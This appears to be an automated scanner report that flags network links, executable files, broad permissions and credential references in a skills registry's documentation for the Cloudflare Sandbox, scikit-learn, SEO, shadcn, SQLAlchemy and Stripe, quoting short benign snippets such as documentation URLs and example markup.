| Ports, preview URLs, expose | [Ports API](https://developers.cloudflare.com/sandbox/sdk/api/ports/index.md) · [Expose services](https://developers.cloudflare.com/sandbox/sdk/guides/expose-services/index.md) | | Tunnels | [Tunnels API](htt - Network accessline 76
| Tunnels | [Tunnels API](https://developers.cloudflare.com/sandbox/sdk/api/tunnels/index.md) | | Proxy / Workers connections | [Proxy requests](https://developers.cloudflare.com/sandbox/sdk/guides/proxy-requests/index.md) · [Workers connec - Network accessline 77
| Proxy / Workers connections | [Proxy requests](https://developers.cloudflare.com/sandbox/sdk/guides/proxy-requests/index.md) · [Workers connections](https://developers.cloudflare.com/sandbox/sdk/guides/workers-connections/index.md) | - Network accessline 78
| Browser / PTY terminal | [Terminal API](https://developers.cloudflare.com/sandbox/sdk/api/terminal/index.md) · [Terminal concept](https://developers.cloudflare.com/sandbox/sdk/concepts/terminal/index.md) · [Browser terminals](https://deve - Network accessline 79
| Code interpreter | [Interpreter API](https://developers.cloudflare.com/sandbox/sdk/api/interpreter/index.md) · [Code execution](https://developers.cloudflare.com/sandbox/sdk/guides/code-execution/index.md) | - Network accessline 80
| Git in the sandbox | [Git workflows](https://developers.cloudflare.com/sandbox/sdk/guides/git-workflows/index.md) | - Network accessline 81
| Secrets / egress | [Outbound traffic](https://developers.cloudflare.com/sandbox/sdk/guides/outbound-traffic/index.md) | - Network accessline 82
| WebSockets | [WebSocket connections](https://developers.cloudflare.com/sandbox/sdk/guides/websocket-connections/index.md) | - Network accessline 83
| Docker-in-Docker | [Docker in Docker](https://developers.cloudflare.com/sandbox/sdk/guides/docker-in-docker/index.md) | - Network accessline 84
| Production deploy | [Production deployment](https://developers.cloudflare.com/sandbox/sdk/guides/preview-urls-custom-domain/index.md) | - Network accessline 85
| Containers concept | [Containers](https://developers.cloudflare.com/sandbox/sdk/concepts/containers/index.md) | - Network accessline 86
| How-to index | [Guides](https://developers.cloudflare.com/sandbox/sdk/guides/index.md) | - Network accessline 87
| API index | [API reference](https://developers.cloudflare.com/sandbox/sdk/api/index.md) | - Network accessline 88
| Deprecated APIs **while staying on stable** | [2026 deprecation guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) | - Network accessline 89
| Self-deployed bridge | [Bridge](https://developers.cloudflare.com/sandbox/sdk/bridge/index.md) · [Bridge HTTP API](https://developers.cloudflare.com/sandbox/sdk/bridge/http-api/index.md) | - Network accessline 90
| Examples (stable/`main`) | [examples on GitHub](https://github.com/cloudflare/sandbox-sdk/tree/main/examples) | - Network accessline 91
| New work on 1.0 preview | **`sandbox-next`** · [1.0 preview](https://developers.cloudflare.com/sandbox/index.md) | - Network accessline 92
| Port existing app to `@next` | **`sandbox-migrate-to-next`** · [Migrate](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) | - Network accessline 107
- Typecheck against installed stable types - No live secrets in sandbox env - If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup - Network accessline 108
- No live secrets in sandbox env - If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup - When the team is ready for 1.0, use **`sandbox-migra - Network accessline 109
- If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup
packages/autoskills/skills-registry/scikit-learn/SKILL.md
- Network accessline 512
- Official Documentation: https://scikit-learn.org/stable/ - Network accessline 513
- User Guide: https://scikit-learn.org/stable/user_guide.html - Network accessline 514
- API Reference: https://scikit-learn.org/stable/api/index.html - Network accessline 515
- Examples Gallery: https://scikit-learn.org/stable/auto_examples/index.html
packages/autoskills/skills-registry/scikit-learn/references/quick_reference.md
- Network accessline 429
- Official Documentation: https://scikit-learn.org/stable/ - Network accessline 430
- User Guide: https://scikit-learn.org/stable/user_guide.html - Network accessline 431
- API Reference: https://scikit-learn.org/stable/api/index.html - Network accessline 432
- Examples: https://scikit-learn.org/stable/auto_examples/index.html - Network accessline 433
- Tutorials: https://scikit-learn.org/stable/tutorial/index.html
packages/autoskills/skills-registry/scikit-learn/scripts/classification_pipeline.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/scikit-learn/scripts/clustering_analysis.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/senior-data-scientist/scripts/experiment_designer.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/senior-data-scientist/scripts/feature_engineering_pipeline.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/senior-data-scientist/scripts/model_evaluation_suite.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/seo/SKILL.md
- Network accessline 53
Sitemap: https://example.com/sitemap.xml - Network accessline 73
<!-- Prevent duplicate content issues --> <link rel="canonical" href="https://example.com/page"> - Network accessline 74
<link rel="canonical" href="https://example.com/page"> - Network accessline 76
<!-- Self-referencing canonical (recommended) --> <link rel="canonical" href="https://example.com/current-page"> - Network accessline 77
<link rel="canonical" href="https://example.com/current-page"> - Network accessline 79
<!-- For paginated content --> <link rel="canonical" href="https://example.com/products"> - Network accessline 80
<link rel="canonical" href="https://example.com/products"> - Network accessline 87
<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> - Network accessline 88
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> - Network accessline 89
<url> <loc>https://example.com/</loc> <lastmod>2024-01-15</lastmod> - Network accessline 90
<loc>https://example.com/</loc> - Network accessline 94
</url> <url> <loc>https://example.com/products</loc> - Network accessline 95
<url> <loc>https://example.com/products</loc> <lastmod>2024-01-14</lastmod> - Network accessline 96
<loc>https://example.com/products</loc> - Network accessline 114
✅ Good URLs: https://example.com/products/blue-widget - Network accessline 115
https://example.com/products/blue-widget - Network accessline 116
https://example.com/blog/how-to-use-widgets - Network accessline 118
❌ Poor URLs: https://example.com/p?id=12345 - Network accessline 119
https://example.com/p?id=12345 - Network accessline 120
https://example.com/products/item/category/subcategory/blue-widget-2024-sale-discount - Network accessline 134
<!-- Ensure all resources use HTTPS --> <img src="https://example.com/image.jpg"> - Network accessline 135
<img src="https://example.com/image.jpg"> - Network accessline 137
<!-- Not: --> <img src="http://example.com/image.jpg"> - Network accessline 138
<img src="http://example.com/image.jpg"> - Network accessline 170
Treat title-link rewriting separately from truncation. Google may build a different title link from the visible page title, headings, anchor text, and other sources even when the `<title>` is short; investigate accuracy and consistency rath - Network accessline 283
Training controls such as `GPTBot` and `ClaudeBot` are distinct from search and user-fetch controls. `GoogleOther` is a generic crawler, not an AI-search visibility switch. Verify current names and consequences in the vendors' maintained do - Network accessline 343
<!-- For multi-language sites --> <link rel="alternate" hreflang="en" href="https://example.com/page"> - Network accessline 344
<link rel="alternate" hreflang="en" href="https://example.com/page"> - Network accessline 345
<link rel="alternate" hreflang="es" href="https://example.com/es/page"> - Network accessline 346
<link rel="alternate" hreflang="fr" href="https://example.com/fr/page"> - Network accessline 347
<link rel="alternate" hreflang="x-default" href="https://example.com/page"> - Network accessline 406
- [Google Search Central](https://developers.google.com/search) - Network accessline 407
- [Schema.org](https://schema.org/)
packages/autoskills/skills-registry/seo/references/STRUCTURED-DATA.md
- Network accessline 8
<script type="application/ld+json"> { "@context": "https://schema.org", - Network accessline 9
{ "@context": "https://schema.org", "@type": "Organization", - Network accessline 10
"@context": "https://schema.org", - Network accessline 11
"@type": "Organization", "name": "Example Company", "url": "https://example.com", - Network accessline 12
"name": "Example Company", "url": "https://example.com", "logo": "https://example.com/logo.png", - Network accessline 13
"url": "https://example.com", - Network accessline 14
"logo": "https://example.com/logo.png", - Network accessline 15
"sameAs": [ "https://twitter.com/example", "https://linkedin.com/company/example" - Network accessline 16
"https://twitter.com/example", - Network accessline 17
"https://linkedin.com/company/example" - Network accessline 31
<script type="application/ld+json"> { "@context": "https://schema.org", - Network accessline 32
{ "@context": "https://schema.org", "@type": "Article", - Network accessline 33
"@context": "https://schema.org", - Network accessline 35
"headline": "How to Choose the Right Widget", "description": "Complete guide to selecting widgets for your needs.", "image": "https://example.com/article-image.jpg", - Network accessline 36
"description": "Complete guide to selecting widgets for your needs.", "image": "https://example.com/article-image.jpg", "author": { - Network accessline 37
"image": "https://example.com/article-image.jpg", - Network accessline 39
"@type": "Person", "name": "Jane Smith", "url": "https://example.com/authors/jane-smith" - Network accessline 40
"name": "Jane Smith", "url": "https://example.com/authors/jane-smith" }, - Network accessline 41
"url": "https://example.com/authors/jane-smith" - Network accessline 46
"logo": { "@type": "ImageObject", "url": "https://example.com/logo.png" - Network accessline 47
"@type": "ImageObject", "url": "https://example.com/logo.png" } - Network accessline 48
"url": "https://example.com/logo.png" - Network accessline 60
<script type="application/ld+json"> { "@context": "https://schema.org", - Network accessline 61
{ "@context": "https://schema.org", "@type": "Product", - Network accessline 62
"@context": "https://schema.org", - Network accessline 63
"@type": "Product", "name": "Blue Widget Pro", "image": "https://example.com/blue-widget.jpg", - Network accessline 64
"name": "Blue Widget Pro", "image": "https://example.com/blue-widget.jpg", "description": "Premium blue widget with advanced features.", - Network accessline 65
"image": "https://example.com/blue-widget.jpg", - Network accessline 73
"price": "49.99", "priceCurrency": "USD", "availability": "https://schema.org/InStock", - Network accessline 74
"priceCurrency": "USD", "availability": "https://schema.org/InStock", "url": "https://example.com/products/blue-widget" - Network accessline 75
"availability": "https://schema.org/InStock", - Network accessline 76
"url": "https://example.com/products/blue-widget" - Network accessline 90
<script type="application/ld+json"> { "@context": "https://schema.org", - Network accessline 91
{ "@context": "https://schema.org", "@type": "FAQPage", - Network accessline 92
"@context": "https://schema.org", - Network accessline 119
<script type="application/ld+json"> { "@context": "https://schema.org", - Network accessline 120
{ "@context": "https://schema.org", "@type": "BreadcrumbList", - Network accessline 121
"@context": "https://schema.org", - Network accessline 126
"position": 1, "name": "Home", "item": "https://example.com" - Network accessline 127
"name": "Home", "item": "https://example.com" }, - Network accessline 128
"item": "https://example.com" - Network accessline 132
"position": 2, "name": "Products", "item": "https://example.com/products" - Network accessline 133
"name": "Products", "item": "https://example.com/products" }, - Network accessline 134
"item": "https://example.com/products" - Network accessline 138
"position": 3, "name": "Blue Widgets", "item": "https://example.com/products/blue-widgets" - Network accessline 139
"name": "Blue Widgets", "item": "https://example.com/products/blue-widgets" } - Network accessline 140
"item": "https://example.com/products/blue-widgets" - Network accessline 149
Test structured data at: - [Google Rich Results Test](https://search.google.com/test/rich-results) - Network accessline 150
- [Google Rich Results Test](https://search.google.com/test/rich-results) - Network accessline 151
- [Schema.org Validator](https://validator.schema.org/)
packages/autoskills/skills-registry/shadcn/SKILL.md
- Broad permissionsline 1
Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) - Network accessline 279
**Named presets:** `nova`, `vega`, `maia`, `lyra`, `mira`, `luma` **Templates:** `next`, `vite`, `start`, `react-router`, `astro` (all support `--monorepo`) and `laravel` (not supported for monorepo) **Preset codes:** Version-prefixed base6 - Network accessline 281
**Preset codes:** Version-prefixed base62 strings (e.g. `a2r6bw` or `b0`), from [ui.shadcn.com](https://ui.shadcn.com).
packages/autoskills/skills-registry/shadcn/assets/showcase/color-pair.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/shadcn/assets/showcase/state-matrix.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/shadcn/cli.md
- Network accessline 106
# Works with URLs too. npx shadcn@latest add https://api.npoint.io/abc123 --dry-run - Network accessline 107
npx shadcn@latest add https://api.npoint.io/abc123 --dry-run - Network accessline 173
input docs https://ui.shadcn.com/docs/components/radix/input - Network accessline 174
docs https://ui.shadcn.com/docs/components/radix/input - Network accessline 175
examples https://raw.githubusercontent.com/.../examples/input-example.tsx - Network accessline 177
button docs https://ui.shadcn.com/docs/components/radix/button - Network accessline 178
docs https://ui.shadcn.com/docs/components/radix/button - Network accessline 179
examples https://raw.githubusercontent.com/.../examples/button-example.tsx - Network accessline 275
1. **Named:** `--preset nova` or `--preset lyra` 2. **Code:** `--preset a2r6bw` (version-prefixed base62 string, e.g. `a2r6bw` or `b0`) 3. **URL:** `--preset "https://ui.shadcn.com/init?base=radix&style=nova&..."` - Network accessline 277
3. **URL:** `--preset "https://ui.shadcn.com/init?base=radix&style=nova&..."`
packages/autoskills/skills-registry/shadcn/customization.md
packages/autoskills/skills-registry/shadcn/mcp.md
- Network accessline 90
{ "registries": { "@acme": "https://acme.com/r/{name}.json", - Network accessline 91
"registries": { "@acme": "https://acme.com/r/{name}.json", "@private": { - Network accessline 92
"@acme": "https://acme.com/r/{name}.json", - Network accessline 93
[Credential-related source omitted] - Network accessline 94
"url": "https://private.com/r/{name}.json", - Access to secretsline 95
[Credential-related source omitted] - Network accessline 105
Community registry index: `https://ui.shadcn.com/r/registries.json`
packages/autoskills/skills-registry/shadcn/registry.md
- Network accessline 28
{ "$schema": "https://ui.shadcn.com/schema/registry.json", - Network accessline 29
"$schema": "https://ui.shadcn.com/schema/registry.json", - Network accessline 30
"name": "acme", "homepage": "https://acme.com", "items": [ - Network accessline 31
"homepage": "https://acme.com", - Network accessline 61
{ "$schema": "https://ui.shadcn.com/schema/registry.json", - Network accessline 62
"$schema": "https://ui.shadcn.com/schema/registry.json", - Network accessline 63
"name": "acme", "homepage": "https://acme.com", "include": ["registry/ui/registry.json", "registry/blocks/registry.json"] - Network accessline 64
"homepage": "https://acme.com", - Network accessline 186
| `@acme/button` | namespace | Item `button` from configured registry `@acme`. | | `@acme/ui/button` | namespace | Item `ui/button` from configured registry `@acme`. | | `https:/ - Network accessline 187
| `@acme/ui/button` | namespace | Item `ui/button` from configured registry `@acme`. | | `https://example.com/r/button.json` | url | Built registry item JSON at that URL. | | `./butto - Network accessline 188
| `https://example.com/r/button.json` | url | Built registry item JSON at that URL. | - Network accessline 227
-> resolve ref with git ls-remote -> commit SHA -> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json - Network accessline 228
-> commit SHA -> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json -> read includes and item files from the same SHA - Network accessline 229
-> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json
packages/autoskills/skills-registry/shadcn/scripts/showcase-coverage.mjs
- Executable scriptline 1
#!/usr/bin/env node
packages/autoskills/skills-registry/sqlalchemy/SKILL.md
- Network accessline 1001
> Derived from CAST Highlight SQL code-quality indicators > (https://doc.casthighlight.com/), cross-referenced with the SQL standard and SonarSource - Network accessline 1002
> (https://doc.casthighlight.com/), cross-referenced with the SQL standard and SonarSource - Network accessline 1007
- [SQLAlchemy 2.0 Documentation](https://docs.sqlalchemy.org/en/20/) - Network accessline 1008
- [Alembic Documentation](https://alembic.sqlalchemy.org/) - Network accessline 1009
- [FastAPI SQLAlchemy Guide](https://fastapi.tiangolo.com/tutorial/sql-databases/) - Network accessline 1010
- [SQLAlchemy Type Annotations](https://docs.sqlalchemy.org/en/20/orm/declarative_tables.html#mapped-column-derives-the-datatype-and-nullability-from-the-mapped-annotation)
packages/autoskills/skills-registry/sqlalchemy/references/sql-quality-antipatterns.md
- Network accessline 8
> **Source note:** These patterns are derived from CAST Highlight's SQL code-quality > indicators (https://doc.casthighlight.com/), cross-referenced with the SQL standard and - Network accessline 9
> indicators (https://doc.casthighlight.com/), cross-referenced with the SQL standard and
packages/autoskills/skills-registry/stripe-best-practices/SKILL.md
- Network accessline 21
Development and testing environment default: For new integration development, use separate [sandboxes](https://docs.stripe.com/sandboxes.md) instead of the account’s shared test mode sandbox. Sandboxes isolate settings and test data from li - Network accessline 35
If you don’t have a Stripe account, you can use the CLI to generate a sandbox test account with no registration required. Install the Stripe CLI (`npm i -g @stripe/cli`) and run the command `stripe sandbox create`, which creates test API ke - Network accessline 41
API key default: Always recommend a [restricted API key (RAK)](https://docs.stripe.com/keys.md#manage-your-api-keys) (`rk_` prefix) over a secret key (`sk_` prefix). - Network accessline 63
- *Never include `payment_method_types` in any Stripe API call*, with one exception: Terminal (in-person payments) integrations must pass `payment_method_types: ['card_present']` on the PaymentIntent. For all other integrations, omit this p - Access to secretsline 71
[Credential-related source omitted] - Network accessline 77
- [Integration Options](https://docs.stripe.com/payments/payment-methods/integration-options.md) — Start here when designing any integration. - Network accessline 78
- [API Tour](https://docs.stripe.com/payments-api/tour.md) — Overview of Stripe’s API surface. - Network accessline 79
- [Go Live Checklist](https://docs.stripe.com/get-started/checklist/go-live.md) — Review before launching.
packages/autoskills/skills-registry/stripe-best-practices/references/billing.md
- Network accessline 13
If the user has a recurring revenue model (subscriptions, usage-based billing, seat-based pricing), use the Billing APIs to [plan their integration](https://docs.stripe.com/billing/subscriptions/design-an-integration.md) instead of a direct - Network accessline 15
Review the [Subscription Use Cases](https://docs.stripe.com/billing/subscriptions/use-cases.md) and [SaaS guide](https://docs.stripe.com/saas.md) to find the right pattern for the user’s pricing model. - Network accessline 21
For self-service subscription management (upgrades, downgrades, cancellation, payment method updates), recommend the [Customer Portal](https://docs.stripe.com/customer-management/integrate-customer-portal.md). - Network accessline 27
**For any new usage-based billing integration, recommend [Metronome](https://docs.stripe.com/billing/usage-based.md) — not the Billing Meters API.** Metronome is the primary Stripe platform for usage-based billing and handles metering, rati - Network accessline 45
Read [Compare basic usage-based billing and Metronome](https://docs.stripe.com/billing/subscriptions/usage-based/compare-metronome.md) for a full feature comparison. Read [Get started with Metronome](https://docs.stripe.com/billing/usage-ba - Network accessline 47
For a flat or per-seat fee plus usage, keep the fee on the existing Stripe Subscription by default and add Metronome only for the usage component (the “Metronome with Stripe Subscriptions” pattern). Create the Metronome customer with the St - Network accessline 49
**Before answering any Metronome implementation question or writing any Metronome code** (usage event ingestion, billable metrics, contracts and rate cards, credits and commits, invoicing, or syncing Metronome invoices to Stripe), use the ` - Network accessline 53
**When answering any Billing setup or subscription question, always include a brief Stripe Tax note before finishing your response.** Example: “One more thing — if you’ll be charging US or EU customers, you’ll need to consider enabling Stri - Network accessline 57
- Don’t call a subscription integration complete without a webhook handler for the subscription lifecycle events (`customer.subscription.*`, `invoice.paid`, `invoice.payment_failed`). Subscription state changes happen asynchronously and aft - Network accessline 58
- Don’t call a production Checkout subscription integration complete without also handling the risk-side events that affect subscription charges: `charge.dispute.created`, `charge.refunded`, and `radar.early_fraud_warning.created`. An integ - Network accessline 59
- If the integration maintains a local copy of Customer data (email, name, address, default payment method), also handle `customer.updated` so local records stay in sync. For Accounts v2 integrations, the equivalents are `v2.core.account[co - Network accessline 60
- Don’t build manual subscription renewal loops using raw PaymentIntents. Use the Billing APIs which handle renewal, retry logic, and dunning automatically. - Don’t use the deprecated `plan` object. Use [Prices](https://docs.stripe.com/api/ - Network accessline 61
- Don’t use the deprecated `plan` object. Use [Prices](https://docs.stripe.com/api/prices.md) instead. - Network accessline 62
- Don’t put prices for different tiers or plans on a single product. Instead, create one Product for each plan a customer can choose. For example, Starter, Professional, and Enterprise must each be a separate Product. Only attach multiple P - Network accessline 63
- Don’t skip tax setup, and don’t assume enabling `automatic_tax` is enough. Stripe collects no tax (and returns no error) until the user has an active registration. See [Collect taxes for recurring payments](https://docs.stripe.com/billing - Network accessline 64
- *Never pass `payment_method_types` when creating a subscription Checkout Session.* Omit the parameter entirely—Stripe dynamically determines eligible payment methods from Dashboard settings. Hardcoding `payment_method_types: ['card']` loc - Network accessline 77
- *Don’t map asynchronous Stripe events to application objects through metadata by default.* Resolve each event through Stripe’s object graph to the first-class Stripe resource that represents the application’s ownership boundary, then map
packages/autoskills/skills-registry/stripe-best-practices/references/connect.md
- Network accessline 43
If dashboard is `express`, provide access through [login links](https://docs.stripe.com/api/accounts/login_link/create.md). For `full`, recommend linking to Stripe-provided dashboard access from the platform UI. You can also use embedded co - Network accessline 51
- `losses_collector: "stripe"` — Stripe owns negative balance liability - Charge pattern: Direct charges (connected account is merchant of record) - Code sample: [/connect/saas/tasks/create#code-sample](https://docs.stripe.com/connect/saas/ - Network accessline 53
- Code sample: [/connect/saas/tasks/create#code-sample](https://docs.stripe.com/connect/saas/tasks/create.md#code-sample) - Network accessline 59
- `losses_collector: "application"` — platform owns negative balance liability (required for transfer reversals during disputes) - Charge pattern: Destination charges (platform is merchant of record) - Code sample: [/connect/marketplace/tas - Network accessline 61
- Code sample: [/connect/marketplace/tasks/create#code-sample](https://docs.stripe.com/connect/marketplace/tasks/create.md#code-sample) - Network accessline 107
- If platform fee is low (< ~4%), recommend including estimated Stripe fees in `application_fee_amount` to preserve margin - Refer to [stripe.com/pricing](https://stripe.com/pricing) for region-specific rates - Network accessline 108
- Refer to [stripe.com/pricing](https://stripe.com/pricing) for region-specific rates - Network accessline 114
Always use webhooks for reliable payment confirmation. Do not rely solely on synchronous API responses — webhook events are the source of truth for payment status. Verify incoming [webhook signatures](https://docs.stripe.com/webhooks.md#ver - Network accessline 170
- [SaaS platforms and marketplaces guide](https://docs.stripe.com/connect/saas-platforms-and-marketplaces.md) — Choosing the right integration approach. - Network accessline 171
- [Interactive platform guide](https://docs.stripe.com/connect/interactive-platform-guide.md) — Step-by-step platform builder. - Network accessline 172
- [Design an integration](https://docs.stripe.com/connect/design-an-integration.md) — Detailed risk and responsibility decisions. - Network accessline 173
- [Connected account configuration (v2)](https://docs.stripe.com/connect/accounts-v2/connected-account-configuration.md) — Account setup reference.
packages/autoskills/skills-registry/stripe-best-practices/references/payments.md
- Network accessline 16
Use the [Checkout Sessions API](https://docs.stripe.com/api/checkout/sessions.md) (`checkout.sessions.create`) for on-session payments. It supports one-time payments and subscriptions and handles discounts, shipping, and adaptive pricing au - Network accessline 18
Use the [Payment Intents API](https://docs.stripe.com/payments/paymentintents/lifecycle.md) for off-session payments, or when the user needs to model checkout state independently and create a charge. - Network accessline 28
1. **Payment Links** — No-code. Best for simple products. 2. **Checkout** ([docs](https://docs.stripe.com/payments/checkout.md)) — Stripe-hosted or embedded form. Best for most web apps. - Network accessline 29
2. **Checkout** ([docs](https://docs.stripe.com/payments/checkout.md)) — Stripe-hosted or embedded form. Best for most web apps. - Network accessline 30
3. **Payment Element** ([docs](https://docs.stripe.com/payments/payment-element.md)) — Embedded UI component for advanced customization. - Network accessline 33
**Traps to avoid:** Don’t recommend the legacy Card Element or the Payment Element in card-only mode. If the user asks for the Card Element, advise them to [migrate to the Payment Element](https://docs.stripe.com/payments/payment-element/mi - Network accessline 37
For surcharging or inspecting card details before payment (e.g., rendering the Payment Element before creating a PaymentIntent or SetupIntent): use [Confirmation Tokens](https://docs.stripe.com/payments/finalize-payments-on-the-server.md). - Network accessline 41
Use the [Setup Intents API](https://docs.stripe.com/api/setup_intents.md) to save a payment method for later use. - Network accessline 47
Drive fulfillment from an [event handler](https://docs.stripe.com/checkout/fulfillment.md), not from the success or return page. Customers aren’t guaranteed to visit the landing page — for example, someone can pay successfully and then lose - Network accessline 59
- Never describe webhook setup as “optional”, “nice to have”, or something to skip for a first pass. If the integration is a proof of concept, say webhooks are recommended now and required before launch or before adding subscriptions — don’ - Network accessline 61
- Always [verify event signatures](https://docs.stripe.com/webhooks.md#verify-events) before processing an event. Read the security skill reference for webhook signing secret handling. - Network accessline 65
*Never pass `payment_method_types` to any Stripe API call*, except for Terminal (in-person payments) integrations. Omitting this parameter enables [dynamic payment methods](https://docs.stripe.com/payments/payment-methods/dynamic-payment-me - Network accessline 77
See the [integration options guide](https://docs.stripe.com/payments/payment-methods/integration-options.md) for full details on dynamic versus manual configuration. - Network accessline 81
- Never hardcode `payment_method_types: ['card']` even if the user only mentions credit cards. Dynamic payment methods enable other eligible payment methods automatically, improving conversion. - If the user wants to customize which payment - Network accessline 82
- If the user wants to customize which payment methods appear on a PaymentIntent or SetupIntent, use [payment_method_configurations](https://docs.stripe.com/payments/payment-method-configurations.md) to manage methods per-integration, `excl - Network accessline 83
- If the user has a custom frontend that renders UI for specific payment method types, ensure those methods are enabled in their [payment method settings](https://dashboard.stripe.com/settings/payment_methods) or `payment_method_configurati - Network accessline 87
Never recommend the Charges API. If the user wants to use the Charges API, advise them to [migrate to Checkout Sessions or PaymentIntents](https://docs.stripe.com/payments/payment-intents/migration/charges.md). - Network accessline 91
| API | Status | Use instead | Migration guide | | --- | --- | --- | --- | | Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) | - Network accessline 92
| --- | --- | --- | --- | | Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) | | Sources API | Deprecated | Setup Intents | [Setup Inten - Network accessline 93
| Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) | - Network accessline 94
| Sources API | Deprecated | Setup Intents | [Setup Intents docs](https://docs.stripe.com/api/setup_intents.md) | - Network accessline 96
| Card Element | Legacy | Payment Element | [Migration guide](https://docs.stripe.com/payments/payment-element/migration.md) | - Network accessline 100
If a PCI-compliant user asks about sending server-side raw PAN data, advise them that they may need to prove PCI compliance to access options like [payment_method_data](https://docs.stripe.com/api/payment_intents/create.md#create_payment_in - Network accessline 102
For users migrating PAN data from another acquirer or payment processor, point them to [the PAN import process](https://docs.stripe.com/get-started/data-migrations/pan-import.md).
packages/autoskills/skills-registry/stripe-best-practices/references/security.md
- Network accessline 26
- **Google Cloud**: Use Secret Manager and give read permissions only to the application that needs it. - **Azure**: Use Azure Key Vault and give read permissions only to the application that needs it. - **Vercel**: Vercel doesn’t offer a b - Network accessline 27
- **Azure**: Use Azure Key Vault and give read permissions only to the application that needs it. - **Vercel**: Vercel doesn’t offer a built-in secrets vault, but several third-party add-ons can provide one that synchronizes secrets with en - Network accessline 28
- **Vercel**: Vercel doesn’t offer a built-in secrets vault, but several third-party add-ons can provide one that synchronizes secrets with environment variables on Vercel. Use a [sensitive environment variable](https://vercel.com/docs/envi - Network accessline 33
- Never share secret keys with third parties. If the user needs to share a key with a third party (for example, a third party that handles billing), it is best to generate a restricted API key (RAK) with minimal permissions. - Rotate Stripe - Network accessline 34
- Rotate Stripe API keys when personnel with access to those keys depart. - Read [best practices for managing secret API keys](https://docs.stripe.com/keys-best-practices.md). - Code must never log keys or include them in error messages or - Network accessline 35
- Read [best practices for managing secret API keys](https://docs.stripe.com/keys-best-practices.md). - Network accessline 44
**Traps to avoid:** Do not embed keys in client-side code, mobile apps, or any code that runs outside your own infrastructure. Do not suggest that users substitute a real secret key into example code — point them to [best practices for mana - Network accessline 48
Use [restricted API keys](https://docs.stripe.com/keys.md#manage-your-api-keys) (prefix `rk_`) instead of secret keys (prefix `sk_`) wherever possible. RAKs have only the permissions you assign, so a compromised RAK can do far less damage t - Network accessline 54
1. Review the secret key’s request logs in Workbench to catalog which API calls it makes. 2. Create a RAK in test mode with matching permissions. 3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch - Network accessline 55
2. Create a RAK in test mode with matching permissions. 3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch logs. 4. Test your integration with the RAK; fix any `403` errors by adding missing permis - Network accessline 56
3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch logs. - Network accessline 65
Encourage users to [configure access policies](https://docs.stripe.com/keys.md#access-policies) for every API key. Access policies restrict who can use keys, limiting damage even if a key is stolen. - Network accessline 71
If a key is exposed or compromised, follow [protecting against compromised API keys](https://support.stripe.com/questions/protecting-against-compromised-api-keys), which can be summarized as: - Network accessline 73
1. **Roll the key immediately** — go to the [API keys page](https://dashboard.stripe.com/apikeys) and roll or delete the exposed key. Do this even if you are unsure whether the key was actually used by an unauthorized party. - Network accessline 77
To prepare before an incident: practice rolling keys, audit source code for any committed keys, and use pre-commit hooks to prevent accidental key check-ins. See [protecting against compromised API keys](https://support.stripe.com/questions - Network accessline 81
Before processing any webhook event, always [verify the webhook signature](https://docs.stripe.com/webhooks.md#verify-events) using Stripe’s webhook signing secret. Signature verification is a strong guarantee that requests are genuinely fr - Network accessline 83
For defense in depth, also [allowlist Stripe’s IP addresses](https://docs.stripe.com/ips.md) on your webhook endpoint so that it accepts connections only from Stripe’s infrastructure. - Network accessline 87
Add a `Content-Security-Policy` header to every web app that loads Stripe.js or uses Stripe’s hosted UIs. See [Stripe’s integration security guide](https://docs.stripe.com/security/guide.md) for the full list of CSP directives to use depend - Network accessline 95
For cases where a client must interact directly with Stripe, use [ephemeral keys](https://docs.stripe.com/issuing/elements.md#ephemeral-key-authentication). Ephemeral keys are short-lived, scoped to a specific resource, and expire automatic - Network accessline 101
When implementing [Connect OAuth flows](https://docs.stripe.com/connect/oauth-reference.md), always use the `state` parameter to protect against CSRF attacks. Generate a unique, unguessable value for `state` per request and verify it in the - Network accessline 107
Recommend [passkeys or authenticator apps](https://docs.stripe.com/security.md) rather than SMS-based 2FA for Stripe Dashboard access. SMS 2FA is vulnerable to SIM-swapping attacks in which the user’s phone provider transfers their number t - Network accessline 115
**Connect onboarding:** Use [Stripe-hosted onboarding](https://docs.stripe.com/connect/onboarding.md) rather than building a custom onboarding flow. Custom onboarding requires your platform to collect and handle sensitive PII directly, whic - Network accessline 119
For teams managing Dashboard access, recommend [SSO via SAML](https://docs.stripe.com/get-started/account/sso.md) to federate authentication with an existing identity provider (Okta, Google, etc.). SSO centralizes access control and simplif - Network accessline 121
[SCIM provisioning](https://docs.stripe.com/get-started/account/sso/scim.md) automates user provisioning and deprovisioning, ensuring that employees who leave the organization lose Dashboard access promptly.
packages/autoskills/skills-registry/stripe-best-practices/references/tax.md
- Network accessline 23
